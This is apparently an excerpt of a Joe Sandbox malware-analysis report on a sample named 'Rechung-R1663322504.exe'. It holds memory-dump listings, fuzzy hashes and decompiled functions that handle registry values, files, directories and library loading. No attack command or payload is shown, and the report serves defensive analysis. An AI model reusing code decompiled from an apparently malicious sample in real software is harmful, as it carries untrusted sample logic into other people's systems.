Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 42400e7620033b3c75d1a052fef88eb2105eaffe06110ad1b7b23095d5839a67
Instruction ID: 18a2236d2da02041d188dcbd2d72052a2a953223b30961087eade96b9ec92dd4
Opcode Fuzzy Hash: 42400e7620033b3c75d1a052fef88eb2105eaffe06110ad1b7b23095d5839a67
Instruction Fuzzy Hash: 90017171904104AFE7159FA5DE89ABFB6B8EF45348F10403EF105A62D0DAB84E449B69

Uniqueness

Uniqueness Score: -1.00%

Function 1000289C Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 1000295B
GetLastError.KERNEL32 ref: 10002A62

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction ID: 6dfa44c8e371a7ac1a486a55eff0af4ad814c9ea0d06d7514663fdd8c294557a
Opcode Fuzzy Hash: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction Fuzzy Hash: 4E51B4B9905211DFFB20DFA4DCC675937A8EB443D4F22C42AEA04E726DCE34A990CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040247E Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040247E(int* __ebx, char* __esi) {
				void* _t17;
				short* _t18;
				long _t21;
				void* _t33;
				void* _t37;
				void* _t40;

				_t35 = __esi;
				_t27 = __ebx;
				_t17 = E00402C77(_t40, 0x20019); // executed
				_t33 = _t17;
				_t18 = E00402C37(0x33);
				 *__esi = __ebx;
				if(_t33 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x4c) = 0x800;
					_t21 = RegQueryValueExW(_t33, _t18, __ebx, _t37 + 8, __esi, _t37 - 0x4c); // executed
					if(_t21 != 0) {
						L7:
						 *_t35 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x18) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x18) == __ebx;
							E004061A6(__esi,  *__esi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x18);
								_t35[0x7fe] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t33); // executed
					RegCloseKey(); // executed
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *(_t37 - 4);
				return 0;
			}

0x0040247e
0x0040247e
0x00402483
0x0040248a
0x0040248c
0x00402493
0x00402496
0x00402885
0x0040249c
0x0040249f
0x004024af
0x004024ba
0x004024ea
0x004024ea
0x004024ed
0x004024bc
0x004024c0
0x004024d9
0x004024e0
0x004024e3
0x004024c2
0x004024c5
0x004024d0
0x00402549
0x00000000
0x00000000
0x00000000
0x004024c5
0x004024c0
0x00402550
0x00402551
0x00402551
0x00402ac2
0x00402ace

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024AF
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsiF853.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402551

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 08f873b6c5f836ea2cbeb832c07c557579df9b46a08ed6a66d2a9d9fb826c037
Instruction ID: 12a56d39eb772e04bf5da2f774c5f61affeaaf74f2150d0b0e53692ad729b11e
Opcode Fuzzy Hash: 08f873b6c5f836ea2cbeb832c07c557579df9b46a08ed6a66d2a9d9fb826c037
Instruction Fuzzy Hash: 0C117371914209EFEF24DFA4CA595BEB6B4EF05344F20843FE046A72C0D7B84A45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x7a8a70;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x7a7a0c =  *0x7a7a0c + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x7a7a0c, 0x7530,  *0x7a79f4), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction ID: 2a828f8333626ea4f8ae47897e76cf54d119540c9549312051f7543085d76b41
Opcode Fuzzy Hash: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction Fuzzy Hash: 9101D132624210ABE7095B789D04B6A3698E751315F10C63BB851F66F1DA7C8C429B4D

Uniqueness

Uniqueness Score: -1.00%

Function 00402388 Relevance: 3.0, APIs: 2, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402388(void* __ebx) {
				long _t7;
				void* _t10;
				void* _t14;
				long _t18;
				intOrPtr _t20;
				void* _t22;
				void* _t23;

				_t14 = __ebx;
				_t26 =  *(_t23 - 0x18) - __ebx;
				_t20 =  *((intOrPtr*)(_t23 - 0x24));
				if( *(_t23 - 0x18) != __ebx) {
					_t7 = E00402CF5(__eflags, _t20, E00402C37(0x22),  *(_t23 - 0x18) >> 1); // executed
					_t18 = _t7;
					goto L4;
				} else {
					_t10 = E00402C77(_t26, 2); // executed
					_t22 = _t10;
					if(_t22 == __ebx) {
						L6:
						 *((intOrPtr*)(_t23 - 4)) = 1;
					} else {
						_t18 = RegDeleteValueW(_t22, E00402C37(0x33));
						RegCloseKey(_t22);
						L4:
						if(_t18 != _t14) {
							goto L6;
						}
					}
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t23 - 4));
				return 0;
			}

0x00402388
0x00402388
0x0040238b
0x0040238e
0x004023ca
0x004023cf
0x00000000
0x00402390
0x00402392
0x00402397
0x0040239b
0x00402885
0x00402885
0x004023a1
0x004023b1
0x004023b3
0x004023d1
0x004023d3
0x00000000
0x004023d9
0x004023d3
0x0040239b
0x00402ac2
0x00402ace

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033,00000002), ref: 004023AA
RegCloseKey.ADVAPI32(00000000), ref: 004023B3

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 336ee21dce7fe236a01c35d47a8697e130fb3ea5dcd58a3cb6936f6497ca76ff
Instruction ID: 4b991d54845a8f4c2efe32c9125b9baad4d8851bb675889a970d9a4240a8a0e2
Opcode Fuzzy Hash: 336ee21dce7fe236a01c35d47a8697e130fb3ea5dcd58a3cb6936f6497ca76ff
Instruction Fuzzy Hash: 23F0F632A041149BE710BBA49B4EABEB2A5AB44354F16003FFA02F31C1CEFC4D01876D

Uniqueness

Uniqueness Score: -1.00%

Function 00401E43 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E61
EnableWindow.USER32(00000000,00000000), ref: 00401E6C

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 3ebbc3ab9dadbc117d2673303f8d1b6626c353d20a106f085f8fc62d721b3797
Instruction ID: 8bed64cdced8f5e888a37b1465862a95800e92f45c41cc099ab710eb89ed01f5
Opcode Fuzzy Hash: 3ebbc3ab9dadbc117d2673303f8d1b6626c353d20a106f085f8fc62d721b3797
Instruction Fuzzy Hash: ABE09272E082008FD7549BA5AA4946D77B0EB84354720803FE112F11C1DA7848418F59

Uniqueness

Uniqueness Score: -1.00%

Function 00406639 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406639(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a3e0);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
				}
				_t5 = E004065C9(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406641
0x00406644
0x0040664b
0x00406653
0x0040665f
0x00000000
0x00406666
0x00406656
0x0040665d
0x00000000
0x0040666e
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004033C2,0000000A), ref: 0040664B
GetProcAddress.KERNEL32(00000000,?), ref: 00406666

Part of subcall function 004065C9: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004065E0
Part of subcall function 004065C9: wsprintfW.USER32 ref: 0040661B
Part of subcall function 004065C9: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040662F

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
Instruction ID: 7f6190fd0785004a6ee8fc72a27bac991e5bdadb2fb285410322192917ba6648
Opcode Fuzzy Hash: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
Instruction Fuzzy Hash: AFE02C322042016AC2009A30AE40C3B33A89A88310303883FFA02F2081EB398C31AAAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405D51 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405D51(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405d55
0x00405d62
0x00405d77
0x00405d7d

APIs

GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\Rechung-R1663322504.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D55
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D77

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00405D2C Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D2C(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}

0x00405d31
0x00405d37
0x00405d3c
0x00405d45
0x00405d45
0x00405d4e

APIs

GetFileAttributesW.KERNELBASE(?,?,00405931,?,?,00000000,00405B07,?,?,?,?), ref: 00405D31
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D45

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 706934cb3b0fb70b74806e5ec6ddb1c8dfd6769152cd575e6ec3c276ff28a2a3
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 85D01272504420AFD6512738EF0C89BBF95DB543717028B36FAE9A22F0CB304C568A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040580F Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040580F(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405815
0x0040581d
0x00000000
0x00405823
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403343,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 00405815
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405823

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: 364d0df367319b35fd7f444a265edab083d6b2b9b53b3b0e5bc7a719fbea1b4c
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: 29C08C312105019AC7002F20EF08B173E50AB20380F058839E546E00E0CE348064D96D

Uniqueness

Uniqueness Score: -1.00%

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38
fileCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040167B() {
				int _t7;
				void* _t13;
				void* _t15;
				void* _t20;

				_t18 = E00402C37(0xffffffd0);
				_t16 = E00402C37(0xffffffdf);
				E00402C37(0x13);
				_t7 = MoveFileW(_t4, _t5); // executed
				if(_t7 == 0) {
					if( *((intOrPtr*)(_t20 - 0x20)) == _t13 || E004065A2(_t18) == 0) {
						 *((intOrPtr*)(_t20 - 4)) = 1;
					} else {
						E00406025(_t15, _t18, _t16);
						_push(0xffffffe4);
						goto L5;
					}
				} else {
					_push(0xffffffe3);
					L5:
					E00401423();
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t20 - 4));
				return 0;
			}

0x00401684
0x0040168d
0x0040168f
0x00401696
0x0040169e
0x004016aa
0x00402885
0x004016be
0x004016c0
0x004016c5
0x00000000
0x004016c5
0x004016a0
0x004016a0
0x00402245
0x00402245
0x00402245
0x00402ac2
0x00402ace

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
